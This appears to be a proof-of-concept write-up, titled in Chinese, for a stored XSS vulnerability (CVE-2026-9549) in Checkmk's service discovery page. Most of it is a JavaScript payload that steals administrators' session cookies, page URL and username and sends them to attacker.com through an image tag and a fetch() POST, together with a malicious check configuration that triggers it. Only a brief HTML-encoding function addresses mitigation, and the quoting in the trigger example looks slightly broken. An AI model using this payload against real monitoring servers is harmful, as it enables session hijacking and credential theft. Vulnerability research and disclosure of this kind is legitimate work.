CVE-2026-9549 Checkmk服务发现存储型XSS漏洞

// CVE-2026-9549 PoC - Stored XSS in Checkmk Service Discovery // Attack scenario: Inject malicious JavaScript via active check configuration // Step 1: Create a malicious active check with XSS payload // This would be done through Checkmk's WATO configuration interface // Example XSS payload for the check output: const xssPayload = ` <script> // Steal session cookies document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '"/>'); // Or perform more sophisticated attacks fetch('http://attacker.com/api/exfiltrate', { method: 'POST', body: JSON.stringify({ session: document.cookie, url: window.location.href, user: document.querySelector('.username')?.innerText }) }); </script> `; // Step 2: The payload is stored and executed when: // - An admin views the service discovery page // - The active check output is rendered // - No sanitization is applied to the check output // Example check configuration that triggers the XSS: const maliciousCheckConfig = { name: 'malicious_service_check', service_description: 'XSS Test Service', // Inject payload in the check output check_command: 'echo "<script>alert("XSS")</script>"' }; // Mitigation: Apply HTML encoding before rendering check output function sanitizeOutput(input) { return input .replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#x27;'); }